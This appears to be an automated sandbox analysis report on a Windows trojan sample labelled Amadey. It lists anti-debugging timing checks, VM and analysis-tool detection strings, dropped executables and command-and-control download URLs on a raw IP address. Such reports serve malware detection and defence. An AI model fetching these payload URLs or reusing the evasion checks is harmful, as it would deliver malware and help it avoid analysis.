Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D61196 second address: 4D611A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D611A6 second address: 4D611F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F87A450AC77h 0x00000015 or ah, FFFFFFCEh 0x00000018 jmp 00007F87A450AC79h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D611F1 second address: 4D6121E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, di 0x00000011 jmp 00007F87A4B0387Fh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6121E second address: 4D6124C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F87A450AC6Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6124C second address: 4D6126E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F87A4B03885h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6126E second address: 4D612B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+04h], eax 0x0000000c jmp 00007F87A450AC6Eh 0x00000011 mov eax, dword ptr [esi+08h] 0x00000014 jmp 00007F87A450AC70h 0x00000019 mov dword ptr [edx+08h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F87A450AC6Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D612B8 second address: 4D612BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D612BC second address: 4D612C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D612C2 second address: 4D6139E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+0Ch] 0x0000000c jmp 00007F87A4B03880h 0x00000011 mov dword ptr [edx+0Ch], eax 0x00000014 jmp 00007F87A4B03880h 0x00000019 mov eax, dword ptr [esi+10h] 0x0000001c jmp 00007F87A4B03880h 0x00000021 mov dword ptr [edx+10h], eax 0x00000024 pushad 0x00000025 movzx esi, di 0x00000028 mov cx, di 0x0000002b popad 0x0000002c mov eax, dword ptr [esi+14h] 0x0000002f jmp 00007F87A4B03885h 0x00000034 mov dword ptr [edx+14h], eax 0x00000037 pushad 0x00000038 mov al, 7Ch 0x0000003a mov bx, 128Ch 0x0000003e popad 0x0000003f mov eax, dword ptr [esi+18h] 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F87A4B03881h 0x00000049 sbb cx, 3D66h 0x0000004e jmp 00007F87A4B03881h 0x00000053 popfd 0x00000054 pushfd 0x00000055 jmp 00007F87A4B03880h 0x0000005a jmp 00007F87A4B03885h 0x0000005f popfd 0x00000060 popad 0x00000061 mov dword ptr [edx+18h], eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 mov eax, edx 0x00000069 mov edx, 0436785Ah 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6139E second address: 4D613B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F87A450AC77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D613B9 second address: 4D61459 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+1Ch] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F87A4B0387Ch 0x00000015 sub eax, 4BDCEC28h 0x0000001b jmp 00007F87A4B0387Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F87A4B03888h 0x00000027 xor ah, FFFFFF88h 0x0000002a jmp 00007F87A4B0387Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov dword ptr [edx+1Ch], eax 0x00000034 jmp 00007F87A4B03886h 0x00000039 mov eax, dword ptr [esi+20h] 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F87A4B03887h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D61459 second address: 4D6145F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Special instruction interceptor: First address: 81C97E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Special instruction interceptor: First address: 81C9B4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Special instruction interceptor: First address: 9CF89B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Special instruction interceptor: First address: A4FC58 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00AA7837 rdtsc

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window / User API: threadDelayed 1805			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window / User API: threadDelayed 1539			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window / User API: threadDelayed 1215			Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

API coverage: 9.7 %

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 5552	Thread sleep count: 61 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 5552	Thread sleep time: -122061s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 5700	Thread sleep count: 66 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 5700	Thread sleep time: -132066s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 6636	Thread sleep count: 73 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 6636	Thread sleep count: 49 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 6636	Thread sleep count: 101 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 6636	Thread sleep count: 103 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 6636	Thread sleep count: 216 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 6636	Thread sleep count: 178 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 6636	Thread sleep count: 135 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 4372	Thread sleep count: 66 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 4372	Thread sleep time: -132066s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 5880	Thread sleep count: 1805 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 5880	Thread sleep time: -3611805s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 5968	Thread sleep count: 1539 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 5968	Thread sleep time: -3079539s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 2976	Thread sleep count: 1215 > 30			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe TID: 2976	Thread sleep time: -2431215s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00415D07 FindFirstFileExW,		2_2_00415D07
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_10007EA9 FindFirstFileExW,		2_2_10007EA9
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B65F6E FindFirstFileExW,		2_2_04B65F6E

Source: hvm4oOzDaX.exe, hvm4oOzDaX.exe, 00000002.00000002.3242432837.000000000099E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.18.dr	Binary or memory string: VMware
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.18.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.18.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.18.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.18.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.18.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.18.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.18.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: hvm4oOzDaX.exe, 00000002.00000002.3243299383.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000002.3246848091.00000000055C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.18.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.18.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.18.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.18.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: hvm4oOzDaX.exe, 00000002.00000002.3246848091.00000000055C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Amcache.hve.18.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.18.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.18.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.18.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.18.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.18.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.18.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.18.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.18.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.18.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.18.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.18.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.18.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: hvm4oOzDaX.exe, 00000002.00000002.3242432837.000000000099E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.18.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Thread information set: HideFromDebugger

Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_04D61D84 Start: 04D61E01 End: 04D61D97

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File opened: NTICE
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File opened: SICE
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00AA7837 rdtsc

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_0040C0B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00402950 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04D02A6F mov eax, dword ptr fs:[00000030h]		2_3_04D02A6F
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04CFE30D mov eax, dword ptr fs:[00000030h]		2_3_04CFE30D
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0041366F mov eax, dword ptr fs:[00000030h]		2_2_0041366F
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0040EF0D mov eax, dword ptr fs:[00000030h]		2_2_0040EF0D
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_10007A76 mov eax, dword ptr fs:[00000030h]		2_2_10007A76
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_10005F25 mov eax, dword ptr fs:[00000030h]		2_2_10005F25
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00D0986B push dword ptr fs:[00000030h]		2_2_00D0986B
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B50D90 mov eax, dword ptr fs:[00000030h]		2_2_04B50D90
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B638D6 mov eax, dword ptr fs:[00000030h]		2_2_04B638D6
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B5092B mov eax, dword ptr fs:[00000030h]		2_2_04B5092B
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B5F174 mov eax, dword ptr fs:[00000030h]		2_2_04B5F174
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D600C0 mov eax, dword ptr fs:[00000030h]		2_2_04D600C0
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D600EE mov eax, dword ptr fs:[00000030h]		2_2_04D600EE
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D6008B mov eax, dword ptr fs:[00000030h]		2_2_04D6008B
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D600A8 mov eax, dword ptr fs:[00000030h]		2_2_04D600A8
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D60055 mov eax, dword ptr fs:[00000030h]		2_2_04D60055
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D60278 mov eax, dword ptr fs:[00000030h]		2_2_04D60278
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D60000 mov eax, dword ptr fs:[00000030h]		2_2_04D60000
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D60009 mov eax, dword ptr fs:[00000030h]		2_2_04D60009
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D60023 mov eax, dword ptr fs:[00000030h]		2_2_04D60023
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04D6002E mov eax, dword ptr fs:[00000030h]		2_2_04D6002E

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00402C70 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0040C0B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_0040C0B3
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00409949 SetUnhandledExceptionFilter,		2_2_00409949
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00408ED5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		2_2_00408ED5
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_004097B2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_004097B2
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		2_2_10002ADF
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_100056A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_100056A0
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_10002FDA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_10002FDA
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B5913C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		2_2_04B5913C
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B59A19 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_04B59A19
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B59BB0 SetUnhandledExceptionFilter,		2_2_04B59BB0
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B5C31A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_04B5C31A

Source: hvm4oOzDaX.exe, hvm4oOzDaX.exe, 00000002.00000002.3242432837.000000000099E000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_3_04CF8DB3 cpuid

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00409BE5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: Amcache.hve.18.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	13 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
hvm4oOzDaX.exe	47%	Virustotal		Browse
hvm4oOzDaX.exe	58%	ReversingLabs	Win32.Trojan.Amadey
hvm4oOzDaX.exe	100%	Avira	HEUR/AGEN.1320706
hvm4oOzDaX.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ax-0001.ax-msedge.net	150.171.27.10	true	false		high
tse1.mm.bing.net	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp	false		unknown
http://185.156.73.23/dll/download	false		unknown
http://185.156.73.23/files/download	false		unknown
http://185.156.73.23/dll/key	false		unknown
http://185.156.73.23/soft/download	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
